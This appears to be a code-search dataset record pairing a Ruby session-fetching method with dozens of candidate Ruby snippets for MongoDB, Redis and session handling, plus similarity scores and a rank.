"def initialize(hosts:, database:, user:, password:, min_pool_size: 1, max_pool_size: 5, logger_level: nil)\n self.logger_level = logger_level if logger_level\n trace __FILE__, __LINE__, self, __method__, \" hosts=#{hosts} user=#{user} database=#{database}\"\n ::Mongo::Logger.logger.level = ::Logger::INFO\n if hosts[0].include?('mongodb') # ATLAS\n ::Mongo::Client.new(\n hosts,\n database: database,\n user: user,\n password: password,\n retry_writes: false,\n auth_source: 'admin',\n ssl: true\n ) do |native|\n trace __FILE__, __LINE__, self, __method__, \" connected: native=#{native}\"\n @native = native\n @database ||= Robe::DB::Mongo::Database.new(self, native.database)\n at_exit do\n trace __FILE__, __LINE__, self, __method__, ' : disconnecting mongo client'\n close\n end\n end\n else\n ::Mongo::Client.new(\n hosts,\n database: database,\n user: user,\n password: password,\n min_pool_size: min_pool_size,\n max_pool_size: max_pool_size,\n retry_writes: false\n ) do |native|\n trace __FILE__, __LINE__, self, __method__, \" connected: native=#{native}\"\n @native = native\n @database ||= Robe::DB::Mongo::Database.new(self, native.database)\n at_exit do\n trace __FILE__, __LINE__, self, __method__, ' : disconnecting mongo client'\n close\n end\n end\n end \n end",
"def initialize(session = :default)\n self.session = Mongoid::Sessions.with_name(session)\n rescue => e\n # client/session not configured\n end",
"def initialize( options={} )\n\t\toptions = DEFAULT_OPTIONS.merge( options )\n\n\t\t@host = options[:host]\n\t\t@port = options[:port]\n\t\t@connect_type = options[:connect_type]\n\t\t@results_class = options[:results_class]\n\n\t\t@conn = nil\n\t\t@bound_user = nil\n\n\n\t\t@object_conversions = DEFAULT_OBJECT_CONVERSIONS.dup\n\t\t@attribute_conversions = DEFAULT_ATTRIBUTE_CONVERSIONS.dup\n\t\t@registered_controls = []\n\n\t\t@base_dn = options[:base_dn] || self.get_default_base_dn\n\t\t@base = nil\n\n\t\t# Immediately bind if credentials are passed to the initializer.\n\t\tif ( options[:bind_dn] && options[:pass] )\n\t\t\tself.bind( options[:bind_dn], options[:pass] )\n\t\tend\n\tend",
"def initialize options={}\n # set defaults\n @env = options[:env] || 'default'\n @app = options[:app] || 'default'\n @verbose = options[:verbose].nil? ? true : options[:verbose]\n @subscribe_to_changes = options[:subscribe_to_changes].nil? ? true : options[:subscribe_to_changes]\n @cache_locally = options[:cache_locally].nil? ? true : options[:cache_locally]\n\n redis_options = options[:redis] || {}\n\n @prefix = redis_options[:prefix] || 'redfig'\n\n @local_cache = {}\n\n puts \"- Initializing Redis client with settings: #{redis_options.inspect}\" if @verbose\n\n @redis = Redis.new redis_options\n end",
"def init(document_or_class)\n if document_or_class.is_a?(Mongoid::Document)\n @document = document_or_class\n @collection = @document.embedded? ? @document._root.collection : @document.collection\n else\n @klass = document_or_class\n @collection = @klass.collection\n end\n end",
"def initialize(options={})\n WorkSnaps.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || WorkSnaps.instance_variable_get(:\"@#{key}\"))\n end\n end",
"def initialize\n @@options = {}\n end",
"def options(opts)\n options = opts.dup\n options[:platform] = PLATFORM_DETAILS\n options[:app_name] = Mongoid::Config.app_name if Mongoid::Config.app_name\n if (driver_version <=> [2, 13]) >= 0\n wrap_lib = if options[:wrapping_libraries]\n [MONGOID_WRAPPING_LIBRARY] + options[:wrapping_libraries]\n else\n [MONGOID_WRAPPING_LIBRARY]\n end\n options[:wrapping_libraries] = wrap_lib\n end\n options.reject{ |k, _v| k == :hosts }.to_hash.symbolize_keys!\n end",
"def initialize(model, &block)\n super(model)\n\n @only_collections ||= Array.new\n @additional_options ||= Array.new\n @ipv6 ||= false\n @lock ||= false\n\n instance_eval(&block) if block_given?\n\n @mongodump_utility ||= utility(:mongodump)\n @mongo_utility ||= utility(:mongo)\n end",
"def initialize(name, client, opts={})\n @name = Mongo::Support.validate_db_name(name)\n @connection = client\n @strict = opts[:strict]\n @pk_factory = opts[:pk]\n\n @write_concern = get_write_concern(opts, client)\n\n @read = opts[:read] || @connection.read\n Mongo::ReadPreference::validate(@read)\n @tag_sets = opts.fetch(:tag_sets, @connection.tag_sets)\n @acceptable_latency = opts.fetch(:acceptable_latency, @connection.acceptable_latency)\n @cache_time = opts[:cache_time] || 300 #5 minutes.\n end",
"def init_options( opts )\n options = default_options.merge( opts ) \n @environment = options[:environment]\n @perf_threshold = options[:perf_threshold]\n @moleable = options[:moleable]\n @app_name = options[:app_name]\n @user_key = options[:user_key]\n @store = options[:store]\n @excluded_paths = options[:excluded_paths]\n end",
"def configure(opts={})\n @config.deep_merge!(opts).each do |k, v|\n case k\n when :collection then @config[:collection] = v.to_s.constantize\n else $LOG.warn \"session_store: unknown option #{k}=#{v}\"\n end\n end\n end",
"def connect\n #@connection = Mongo::Connection.new(, @port, :pool_size => 5)\n @connection = Mongo::Client.new([ \"#{@host}:#{@port}\" ], :database => @dbname)\n @collection = @connection[@collname]\n @collection.drop\n @collection.indexes.create_one({ loc: \"2dsphere\" }, { min: -200, max: 200 })\n end",
"def source opts={}\n opts[:host] ||= \"localhost\"\n opts[:port] ||= 27017\n self.db = Mongo::Connection.new(opts[:host], opts[:port]).db(\"extraextra\")\n self.collection = db[\"extras\"]\n end",
"def configure(conf)\n\t\t\tsuper\n\n\t\t\t@identifier_array = Array.new\n @not_found = Array.new\n @require_merge = Array.new\n @redis = Redis.new(:host => @redis_host, :port => @redis_port, :db => 1)\n\n\t\t\tif @identifier.empty?\n\t\t\t\traise ConfigError, 'Please specify the field identifier to pick value from a log entry'\n\t\t\tend\n\t\t\tif @identifier_key.empty?\n\t\t\t\traise ConfigError, 'Please specify an identifier key to query solr'\n\t\t\tend\n\t\t\tif @solr_address.empty?\n\t\t\t\traise ConfigError, 'Please specify the solr server address'\n\t\t\tend\n\t\t\tif @required_fields.empty?\n raise ConfigError, 'Please specify required fields.'\n end\n\n\t\t\tif @solr_proxy.empty?\n\t\t\t\t@solr = RSolr.connect :url => @solr_address\n else\n\t\t\t\t@solr = RSolr.connect :url => @solr_address, :proxy => @solr_proxy\n end\n\t\t\t##solrtail log file to log results.\n\t\t\tbegin\n FileUtils.mkdir_p File.dirname(@log_file), :mode => 755\n\t\t\t\tfile = File.open(@log_file, \"a\")\n\t\t\trescue IOError => e\n\t\t\t\traise ConfigError, e\n\t\t\tensure\n\t\t\t\tfile.close unless file.nil?\n\t\t\tend\n\n\t\t\t## Test mongo merger configuration\n\t\t\tif @mongo_merge_enabled\n\n\t\t\t\t## Make sure we have mongo server IP\n\t\t\t\tif @mongo_address.empty?\n\t\t\t\t\traise ConfigError, 'Please specify mongo server IP to connect to mongo'\n\t\t\t\tend\n\t\t\t\tif @mongo_address.include? \":\"\n\t\t\t\t\traise ConfigError, 'Please specify port using \"mongo_port\" configuration param'\n\t\t\t\tend\n\n\t\t\t\t## Make sure we have a database to workon\n\t\t\t\tif @mongo_db.empty?\n\t\t\t\t\traise ConfigError, 'Please specify a mongo database to query on using \"mongo_db\" config param'\n\t\t\t\tend\n\n\t\t\t\t## Creating a global mongo client connection\n\t\t\t\t@mongo_client = Mongo::Client.new([\"#{@mongo_address}:#{@mongo_port}\"], :database => @mongo_db, :user => @mongo_user, :password => @mongo_password, :connect => :direct)\n\n\t\t\t\tif @mongo_match_by.empty?\n\t\t\t\t\traise ConfigError, 'Can not match records without the matching keys specified'\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def initialize(options = {})\n @options = default_options.merge(options)\n @app = @options.delete(:app)\n end",
"def initialize(mongo_dest)\n\t\tputs \"Initialized OSMHistory\"\n\n\t\tcase mongo_dest\n\t\twhen :local\n\t\t\t@host = 'localhost'\n\t\t\t@port = 27017\n\t\twhen :ea \n\t\t\t@host = 'epic-analytics.cs.colorado.edu'\n\t\t\t@port = 27018\n\t\tend\n end",
"def connection=(db)\n @@mongo_connection = ActiveRecord::ConnectionAdapters::MongoPseudoConnection.new(db || $db)\n end",
"def db(db_name, options={})\n XGen::Mongo::Driver::DB.new(db_name, @pair, @options.merge(options))\n end",
"def initialize( app_id, send_spec, recv_spec ) # :notnew:\n\t\tsuper() # To the signal handler mixin\n\n\t\t@app_id = app_id\n\n\t\t@conn = Mongrel2::Connection.new( app_id, send_spec, recv_spec )\n\t\t@reactor = nil\n\tend",
"def initialize(options)\n OPTIONS.each do |var|\n instance_variable_set :\"@#{var}\", options[var] || options[var.to_s]\n end\n end",
"def initialize( options={} )\n @shard_lookup = options[ :shard_lookup ]\n\n @shard_definitions = []\n @connection_pools = ConnectionPoolHash.new( self )\n @schema_pools = {}\n end",
"def initialize\n @options = defaults\n end",
"def initialize\n @options = defaults\n end",
"def initialize(options = {})\n @options = default_options.merge(options)\n end",
"def connection\n #@pool ||= {}\n #@pool[Thread.current] ||= Mongoc::Client.new(host, port, :pool_size=>@pool_size)\n #Mongoc::Client.new(host, port, {})\n Thread.current[:_mongo] ||= Mongoc::Client.new(host, port, {})\n end",
"def set_default_options(options)\n opts = options.dup\n\n extra_options = opts.delete(:extra_options)\n extra_options = DEFAULT_EXTRA_OPTIONS.merge(extra_options)\n\n has_timeout_string_arg = extra_options[:mongocryptd_spawn_args].any? do |elem|\n elem.is_a?(String) && elem.match(/\\A--idleShutdownTimeoutSecs=\\d+\\z/)\n end\n\n timeout_int_arg_idx = extra_options[:mongocryptd_spawn_args].index('--idleShutdownTimeoutSecs')\n has_timeout_int_arg = timeout_int_arg_idx && extra_options[:mongocryptd_spawn_args][timeout_int_arg_idx + 1].is_a?(Integer)\n\n unless has_timeout_string_arg || has_timeout_int_arg\n extra_options[:mongocryptd_spawn_args] << '--idleShutdownTimeoutSecs=60'\n end\n\n opts[:bypass_auto_encryption] ||= false\n\n opts.merge(extra_options)\n end",
"def initialize(collection, options = {})\n @collection = collection\n @options = options\n end",
"def initialize(collection, options = {})\n @collection = collection\n @options = options\n end",
"def initialize\n @collection = 'vehicles'\n @dao = MongoDao.new('collection' => @collection)\n @index = false\n ensure_indices if @dao.active?\n end",
"def initialize(options={})\n\t\t\tPlayapi::Configurable.keys.each do |key|\n\t\t\t\tinstance_variable_set(:\"@#{key}\", options[key] || Playapi.instance_variable_get(:\"@#{key}\"))\n\t\t\tend\n\t\tend",
"def initialize(options) #:nodoc:\n self.config = OpenStruct.new(options)\n end",
"def initialize()\n @options = { }\n end",
"def initialize(options)\n @options = options\n @params = {}\n @connection = build_connection\n end",
"def initialize(options = {})\n options[:store_id] ||= ENV['IGLOBAL_STORE_ID']\n options[:api_key] ||= ENV['IGLOBAL_API_KEY']\n \n requires!(options, :store_id, :api_key)\n @options = options\n super\n end",
"def initialize(options: {})\n DEFAULT_OPTIONS.merge(options).each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n end",
"def initialize(options = nil)\n @config = DEFAULTS.merge(options || { })\n \n merge_config_options\n assign_extracted_host_port\n end",
"def initialize options\n # stats\n\n @stats = {}\n\n clear_stats\n\n if options[:host]\n port = options[:port]\n port = DEFAULT_PORT if port.nil?\n @socket = TCPSocket.new options[:host], port\n elsif options[:socket]\n @socket = options[:socket]\n end\n\n @number = 0\n\n set_options options\n end",
"def setup *args, &block\n setup_without_mongoid *args, &block\n\n require 'active_admin/mongoid/comments'\n require 'active_admin/mongoid/adaptor'\n require 'active_admin/mongoid/filter_form_builder'\n require 'active_admin/mongoid/data_access'\n require 'active_admin/mongoid/resource'\n require 'active_admin/mongoid/document'\n require 'active_admin/mongoid/helpers/collection'\n require 'active_admin/mongoid/criteria'\n\n end",
"def init(*opts)\n if EM.reactor_running?\n @redis ||= Redis.new({ :driver => :synchrony }.merge(*opts))\n else\n @redis ||= Redis.new(*opts)\n end\n end",
"def initialize(options={})\n @init_options = options.kind_of?(Hash) ? options : {}\n end",
"def initialize(connection, vms = :vms, meta = :meta)\n @connection = connection\n @vms_collection = vms\n @meta_collection = meta\n @convert = ::PuppetDBQuery::ToMongo.new\n end",
"def db=(obj)\n unless obj.is_a?(Mongo::DB)\n raise(ArgumentError, \"Must supply a Mongo::DB object\")\n end; @db = obj\n end",
"def initialize(options = {}, &connection_block)\n @configuration = DelSolr::Client::Configuration.new(options[:server], options[:port], options[:timeout], options[:path])\n @cache = options[:cache]\n @logger = options[:logger]\n @shortcuts = options[:shortcuts]\n setup_connection(&connection_block) if connection_block\n end",
"def initialize(options = {})\n self.class.options ||= Ramaze::Cache::Sequel.trait[:default].merge(options)\n @options = options.merge(self.class.options)\n end",
"def initialize(options={})\n options[:pic] != nil ? @picture = options[:pic] : @picture = Picture.new\n options[:meta] != nil ? @meta = options[:meta] : @meta = Picmeta.new\n #\n # This is away of extending the Mongo doc model; I need a random number assigned to a picmeta.\n #\n if options[:meta]\n if @meta.random.nil?\n @meta.random = rand\n @meta.save\n end\n end\n\n end",
"def initialize(options={})\n \n @options=DEFAULT_OPTIONS.dup.merge(options)\n end",
"def initialize(options={})\n \n @options=DEFAULT_OPTIONS.dup.merge(options)\n end",
"def build_uri(options = {})\n \"mongodb://\".tap do |base|\n base << \"#{username}:#{password}@\" if authenticating?\n base << \"#{options[\"host\"] || \"localhost\"}:#{options[\"port\"] || 27017}\"\n base << \"/#{self[\"database\"]}\" if authenticating?\n end\n end",
"def mongrel=(_)\n @application.adapter = :mongrel\n end",
"def build_db\n @db = Moped::Session.new([ ENV['MONGO_HOST'] ])\n @db.use ENV['MONGO_DB']\n end",
"def mongodbd_initialize_cmd\n cmd = mongodbd_bin\n cmd << \" --defaults-file=#{etc_dir}/my.cnf\"\n cmd << ' --initialize'\n cmd << ' --explicit_defaults_for_timestamp' if v56plus\n return \"scl enable #{scl_name} \\\"#{cmd}\\\"\" if scl_package?\n cmd\n end",
"def initialize(options = {})\n @options = {\n :daemonize => DEFAULT_DAEMONIZE,\n :host => DEFAULT_HOST,\n :path => DEFAULT_PATH,\n :pid_file => DEFAULT_PID_FILE,\n :port => DEFAULT_PORT,\n :threads_number => DEFAULT_THREADS_NUMBER,\n :timeout => DEFAULT_TIMEOUT\n }.merge(options)\n \n @stats = {}\n end",
"def initialize(options = { })\n @options = DEFAULT_OPTIONS.merge(options)\n \n load_config\n end",
"def initialize _options\n self.options = DEFAULT_OPTIONS.deep_merge(_options)\n self.cache = Monkeyshines::Store.create(options[:cache])\n self.store = Monkeyshines::Store.create(options[:store])\n self.misses = 0\n end",
"def initialize(options = {})\n options.instance_variables_set_to(self)\n end",
"def configure(conf)\n super\n @identifier_array = Array.new\n if @identifier.empty?\n raise ConfigError, 'Please specify the field identifier to pick value from a log entry'\n end\n if @identifier_key.empty?\n raise ConfigError, 'Please specify an identifier key to query solr'\n end\n if @solr_address.empty?\n raise ConfigError, 'Please specify the solr server address'\n end\n if @required_fields.empty?\n raise ConfigError, 'Please specify required fields.'\n end\n\n if @solr_proxy.empty?\n @solr = RSolr.connect :url => @solr_address\n else\n @solr = RSolr.connect :url => @solr_address, :proxy => @solr_proxy\n end\n ##solrtail log file to log results.\n begin\n FileUtils.mkdir_p File.dirname(@log_file), :mode => 755\n file = File.open(@log_file, \"a\")\n rescue IOError => e\n raise ConfigError, e\n ensure\n file.close unless file.nil?\n end\n\n ## Test mongo merger configuration\n if @mongo_merge_enabled\n\n ## Make sure we have mongo server IP\n if @mongo_address.empty?\n raise ConfigError, 'Please specify mongo server IP to connect to mongo'\n end\n if @mongo_address.include? \":\"\n raise ConfigError, 'Please specify port using \"mongo_port\" configuration param'\n end\n\n ## Make sure we have a database to workon\n if @mongo_db.empty?\n raise ConfigError, 'Please specify a mongo database to query on using \"mongo_db\" config param'\n end\n\n ## Creating a global mongo client connection\n @mongo_client = Mongo::Client.new([\"#{@mongo_address}:#{@mongo_port}\"], :database => @mongo_db, :user => @mongo_user, :password => @mongo_password, :connect => :direct)\n\n if @mongo_match_by.empty?\n raise ConfigError, 'Can not match records without the matching keys specified'\n end\n end\n end",
"def initialize(servers = [], opts = {})\n @servers = servers\n @servers << \"#{DEFAULT_HOST}:#{DEFAULT_PORT}\" if servers.empty?\n @logger = opts[:logger] || CrateRuby.logger\n @http_options = opts[:http_options] || { read_timeout: 3600 }\n @schema = opts[:schema] || 'doc'\n @username = opts[:username]\n @password = opts[:password]\n @ssl = opts[:ssl] || false\n end",
"def set_collection(options = {})\n self._collection = Collection.new(self, self.collection_name, options)\n end",
"def initialize(_options = {})\n end",
"def mongoize(options = {})\n create_new_record(options)\n runtime = Benchmark.measure{ yield }.real if block_given?\n rescue Exception => e\n add(3, e.message + \"\\n\" + e.backtrace.join(\"\\n\"))\n # Re-raise the exception for anyone else who cares\n raise e\n ensure\n # In case of exception, make sure runtime is set\n @mongo_record[:runtime] = ((runtime ||= 0) * 1000).ceil\n begin\n @insert_block.call\n rescue\n # do extra work to inpect (and flatten)\n force_serialize @mongo_record\n @insert_block.call rescue nil\n end\n end",
"def initialize(options = {})\n self.class.options ||= Ramaze::Cache::Sequel.trait[:default].merge(\n options\n )\n\n @options = options.merge(self.class.options)\n end",
"def master\n Mongo::Connection.from_uri(uri(self), optional.symbolize_keys).tap do |conn|\n conn.apply_saved_authentication\n end\n end",
"def initialize(session, options = T.unsafe(nil)); end",
"def initialize(session, options = T.unsafe(nil)); end",
"def mongo\n @mongo[@environment.to_s]\n end",
"def initialize( options={} )\n end",
"def initialize(server, root, options={}, default=Config::FileHandler)\n @config = server.config\n @logger = @config[:Logger]\n @root = File.expand_path(root)\n if options == true || options == false\n options = { :FancyIndexing => options }\n end\n @options = default.dup.update(options)\n end",
"def initialize(options={})\n defaults.merge(options).each { |k,v| send(\"#{k}=\", v) }\n end",
"def initialize(options={})\n Nipap::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key] || Nipap.instance_variable_get(:\"@#{key}\"))\n end\n end"
] |
[
"0.6971827",
"0.6885016",
"0.6864397",
"0.68434364",
"0.6764299",
"0.665844",
"0.6635276",
"0.6432224",
"0.641191",
"0.6410892",
"0.63685095",
"0.6346203",
"0.6298248",
"0.62118423",
"0.6206694",
"0.6184704",
"0.6096594",
"0.6056411",
"0.6003625",
"0.5994437",
"0.5955226",
"0.5931217",
"0.5928804",
"0.58533597",
"0.5706874",
"0.5686601",
"0.56253594",
"0.5614325",
"0.56006336",
"0.5589262",
"0.55782986",
"0.5571059",
"0.55680084",
"0.55658376",
"0.5550362",
"0.5539384",
"0.55297005",
"0.55162853",
"0.5512232",
"0.5501578",
"0.54913336",
"0.5490967",
"0.54724973",
"0.54710054",
"0.54551584",
"0.5451355",
"0.5449079",
"0.5438835",
"0.5427965",
"0.54256785",
"0.54226017",
"0.5413323",
"0.5403412",
"0.5403412",
"0.5399147",
"0.53986067",
"0.539583",
"0.53899205",
"0.53899205",
"0.5383859",
"0.5375657",
"0.53688097",
"0.5359345",
"0.53591216",
"0.534022",
"0.533625",
"0.53354496",
"0.53323144",
"0.5317631",
"0.53122497",
"0.5310599",
"0.53079647",
"0.52975345",
"0.5293682",
"0.5292076",
"0.52845454",
"0.5283499",
"0.5283499",
"0.52820724",
"0.52810293",
"0.52784616",
"0.52749103",
"0.52733773",
"0.5273231",
"0.52729666",
"0.5268538",
"0.52672476",
"0.5262687",
"0.5255754",
"0.5254032",
"0.5253899",
"0.5243446",
"0.5243156",
"0.5233881",
"0.5233881",
"0.52279574",
"0.52237064",
"0.52226084",
"0.5219439",
"0.52177614"
] |
0.72428447
|
0
|
Fetch session with optional session id. Retrieve session from mongodb if any
|
def get_session( env, sid )
return _get_session( env, sid ) unless env['rack.multithread']
mutex.synchronize do
return _get_session( env, sid )
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_session(session_id)\n session = Session.find(:first, :conditions => ['session_id=?', session_id])\n return session\n end",
"def find_session(env, sid); end",
"def _get_session(env, sid)\n logger.debug \"Getting session info for #{sid.inspect}\"\n if sid\n ses_obj = sessions.find_one( { :_id => sid } )\n if ses_obj \n logger.debug \"Found session object on #{sid.inspect}\"\n else\n logger.debug \"Unable to find session object #{sid.inspect}\"\n end\n session = MongoRack::SessionHash.new( deserialize(ses_obj['data']) ) if ses_obj and fresh?( ses_obj )\n end\n \n unless sid and session\n logger.warn \"Session ID not found - #{sid.inspect} - Creating new session\"\n session = MongoRack::SessionHash.new\n sid = generate_sid\n ret = sessions.save( { :_id => sid, :data => serialize(session) } )\n raise \"Session collision on '#{sid.inspect}'\" unless ret\n end\n merged = MongoRack::SessionHash.new.merge(session)\n logger.debug \"Setting old session #{merged.inspect}\" \n session.instance_variable_set( '@old', merged )\n return [sid, session]\n rescue => boom \n logger.error \"#{self} Hoy! something bad happened loading session data\"\n logger.error $!.inspect\n boom.backtrace.each{ |l| logger.error l } \n return [ nil, MongoRack::SessionHash.new ]\n end",
"def retrieve_session\n request.method = :get\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def find_by_session_id(session_id)\n SEMAPHORE.synchronize { setup_sessid_compatibility! }\n find_by_session_id(session_id)\n end",
"def find_by_session_id(session_id)\n SEMAPHORE.synchronize { setup_sessid_compatibility! }\n find_by_session_id(session_id)\n end",
"def session_get(id)\n sessions.select {|s| s.SessionId().to_s == id.to_s}\n end",
"def select_session\n @session = Session.find_by_session_id(@session_id)\n @session = @session.last rescue @session\n set_req_no\n end",
"def find_session(env, sid)\n unless sid && (session = get_session_with_fallback(sid))\n sid, session = generate_sid, {}\n end\n [sid, session]\n end",
"def get_with_session_login(path, session)\n get path, nil, {\"rack.session\" => {\"uid\" => session['uid']}}\n end",
"def session(id)\n search_sessions(xml_doc, id).first\n end",
"def retrieve(session_id)\n unless session_id.blank?\n begin\n session_data = store.retrieve_session(session_id)\n rescue => err\n Merb.logger.warn!(\"Could not retrieve session from #{self.name}: #{err.message}\")\n end\n # Not in container, but assume that cookie exists\n session_data = new(session_id) if session_data.nil?\n else\n # No cookie...make a new session_id\n session_data = generate\n end\n if session_data.is_a?(self)\n session_data\n else\n # Recreate using the existing session as the data, when switching \n # from another session type for example, eg. cookie to memcached\n # or when the data is just a hash\n new(session_id).update(session_data)\n end\n end",
"def session!(id)\n search_sessions(xml_doc!, id).first\n end",
"def retrieve_session(session_id)\n @mutex.synchronize {\n @timestamps[session_id] = Time.now\n @sessions[session_id]\n }\n end",
"def sessionGet(options={})\n assert_valid_keys(options, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end",
"def sessionGet(options={})\n assert_valid_keys(options, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end",
"def find_user_by_session(sess_id)\n return unless sess_id\n session_options = ActionController::Base.session_options\n sess = CGI::Session.new(request.cgi,{\n 'session_id' => sess_id,\n 'new_session' => false,\n 'secret' => session_options[:secret],\n 'database_manager' => session_options[:database_manager],\n 'session_key' => session_options[:session_key],\n 'prefix' => session_options[:prefix],\n 'tmpdir' => session_options[:tmpdir],\n 'cache' => session_options[:cache],\n 'no_cookies' => true #undocumented ruby feature, critical for us.\n })\n if(sess[:user_id])\n User.find(sess[:user_id])\n else\n nil\n end\n end",
"def get_user_from_session\r\n return User.find(session[:user_id]) if session[:user_id]\r\nend",
"def session\n return nil unless session_id\n QuoVadis::Session.find_by id: session_id\n end",
"def session_get\n nessus_rest_get(\"session\")\n end",
"def find_session(session_id, lock = false)\n find(\"`session_id`=#{quote_escape session_id} LIMIT 1\" + (lock ? ' FOR UPDATE' : ''))\n end",
"def get\n params.required(:id)\n\n # Grab the device that is trying to authenticate\n unathenticated_error unless @api_consumer.is_a? Service\n service = @api_consumer\n\n @session = service.sessions.find(params[:id])\n end",
"def get_session(env, sid)\n\n # Start each HTTP request with a fresh view of the repository.\n Maglev.abort_transaction\n\n session = @sessions[sid] if sid\n unless sid and session\n session = Hash.new\n sid = generate_sid\n @sessions[sid] = session # Rely on the commit_transaction in set_session\n end\n return [sid, session]\n rescue Exception => e\n puts \"== Get Session: EXCEPTION: #{e}\"\n return [nil, {}]\n end",
"def find(id = nil)\n args = [id].compact\n session = new(*args)\n return session if session.find_record\n nil\n end",
"def checkSession(session)\n if session\n obj = UserSessions.where(:session => session['session_id']).first()\n if !obj.blank? and !obj.nil? and obj[:sess] != false\n return {:conn => obj.connection, :user => obj.user_name, :sess => true}\n else\n return nil\n end\n end\nend",
"def find_session(request, sid)\n record = get_session_record(request, sid)\n record.session_id = generate_sid if record.new_record?\n [record.session_id, record.data]\n end",
"def user_session\n @user_session ||= UserSession.find\n end",
"def get_session\n session = Session.create!(key: Random.rand(0xFFFFFFFF).to_s)\n render json: { id: session.id, key: session.key }\n end",
"def get_session(env, sid)\n raise '#get_session not implemented.'\n end",
"def get_app_session(session_id = nil)\n if session_id.nil?\n session_id = params[:id]\n end\n\n app_session = nil\n if current_user.administrator?\n app_session ||= model_class.administered_by(current_user).find_by_id(session_id)\n end\n app_session ||= model_class.viewable_by(current_user).find_by_id(session_id)\n end",
"def get_session(env, sid)\n raise '#get_session needs to be implemented.'\n end",
"def fetch_user\n\n # Check if user_id in the session is the id of a real user in our db. If it is, we will get the user object in @current_user; if not, we will get nil\n if session[:user_id].present?\n @current_user = User.find_by id: session[:user_id]\n end\n\n # If we did get nil from the above query, delete the session because the user_id is stale (invalid)\n if @current_user.nil?\n session[:user_id] = nil # unless @current_user.present?\n end\n\n end",
"def get_session_record(request, sid)\n model = @@session_class.find_by_session_id(sid) ||\n @@session_class.new(session_id: sid || generate_sid)\n\n if request.env[SESSION_OPTIONS_KEY][:id].nil?\n request.env[SESSION_RECORD_KEY] = model\n else\n request.env[SESSION_RECORD_KEY] ||= model\n end\n\n model\n end",
"def session; @session; end",
"def session; @session; end",
"def session; @session; end",
"def get_session2\n privileged = @@session_id_privileged rescue false\n if !privileged\n @@session_id = nil\n @@session_id_privileged = true\n end\n begin\n if not @@session_id.nil?\n return @@session_id\n else\n @@session_id = get_new_session2\n end\n rescue\n @@session_id = get_new_session2\n end\n return @@session_id\n end",
"def get_object(*args)\r\n if args.size == 0\r\n @ses ||= log_owner.training_sessions.find(params[:id])\r\n else\r\n log_owner.training_sessions.find(params[:id], *args)\r\n end\r\n end",
"def user_from_session\n if session[:user] && session[:user][:id]\n User.find_by_id(session[:user][:id])\n else\n nil\n end\n end",
"def sessionGet(options = {})\n assert_valid_keys(options, :accessKey, :testMode, :sessionId)\n assert_keys_exists(options, :sessionId)\n execute(:sessionGet, options)\n end",
"def session_user\n return @session_user if defined? @session_user\n if session.has_key? :user_id\n @session_user ||= User.find_by_id(session[:user_id])\n end\n end",
"def show\n @session = Session.where(unique_id: params[:id])\n # New round logic here\n\n end",
"def get_session(options = {})\n get_session!(options)\n rescue Error::SessionsNotSupported\n nil\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def find_user\n return nil if session[:user_id].nil?\n User.find(session[:user_id])\n end",
"def get_session(options = {})\n resp = @connection.post do |req|\n req.headers = { :Accept => 'application/json'}\n req.url 'v1/sessions'\n req.body = options.to_json\n end\n check_response_for_errors resp.body\n end",
"def session_from_redis\n redis_handler.get\n end",
"def session_id\n @options[:session_id]\n end",
"def session\n @session ||= options[:session] || {} \n end",
"def extract_session_id\n self.session_id = (@env[\"rack.session\"] ? @env[\"rack.session\"][\"session_id\"] : nil) || @request.ip\n end",
"def session_id\n @session.nil? ? '' : @session.session_id\n end",
"def get_with_session_login!(path, session)\n get_with_session_login(path, session)\n session.merge!(last_request.session)\n end",
"def get_session_id\n p \"==>cookie: #{cookies.inspect}\"\n p \"===>session id=#{session[:sid]} session uid = #{session[:uid]}\"\n p \"cookies[:_wh_session] = #{cookies[:_wh_session] }\"\n\n if cookies[:_wh_session] \n session[:uid] = nil if session[:sid] != session[:sid]\n session[:sid] = cookies[:_wh_session] \n end\n # \n # after uesr first register, the _wh_session will be set in user's cookie\n # which will send by all afteraward quest\n #\n if (params[:sid])\n # reset_session\n\n # p request.host\n # p \"====>>>>dda29\"\n # set cookie first, because this is used to generate sid when write memcached\n if cookies[:_wh_session] == nil or cookies[:_wh_session] != params[:sid] # first time, or manually change session to other session\n\n cookies[:_wh_session] = {\n :value => params[:sid],\n :expires => 1.year.from_now,\n :domain => request.host\n }\n session[:uid] = nil\n end\n # p \"====>>>>dda69\"+params[:sid]\n # p \"====>>>>dda79\"+session[:sid]\n if (session[:sid] == nil || params[:sid] != session[:sid] )\n session[:sid] = params[:sid]\n session[:uid] = nil\n end\n\n # @sid = params[:sid]\n\n # cookies[:_wh_session] = params[:sid]\n # p \"====>>>>dda39\"\n else\n # p \"====>>>>dda19\"\n if !session[:sid]\n sid = cookies[:_wh_session]\n if sid ==nil\n sid = params[:sid] # for dev\n if !sid\n # error(\"session not exist, please restart app\")\n return nil\n end\n end \n session[:sid] = sid\n session[:uid] = nil\n end\n end\n # p \"====>>>>dda9\"\n return session[:sid]\n end",
"def any_session!\n unless @session_token.present?\n _active_session = active_sessions(restricted: false, order: :updated_at.desc).first\n self.session_token = _active_session.session_token if _active_session.present?\n end\n @session_token\n end",
"def current_user_session\n @current_user_session ||= UserSession.find\n end",
"def current_user_session\n @current_user_session ||= UserSession.find\n end",
"def set_session\n @session = Session.find(params[:id])\n end",
"def set_session\n @session = Session.find(params[:id])\n end",
"def set_session\n @session = Session.find(params[:id])\n end",
"def set_session\n @session = Session.find(params[:id])\n end",
"def session_id\n @session_id ||= begin\n response = authenticate\n response.body[:authenticate_response][:return]\n end\n end",
"def set_session\n @session = BatchConnect::Session.find(params[:id])\n end",
"def login_from_session\nself.current_user = User.find_by_id(session[:user_id]) if session[:user_id]\nend",
"def retrieve\n session = session_from_redis\n return session if session.present?\n\n establish_chip_session\n end",
"def session\n object.session\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
"def session\n @session ||= Session.new(req)\n end",
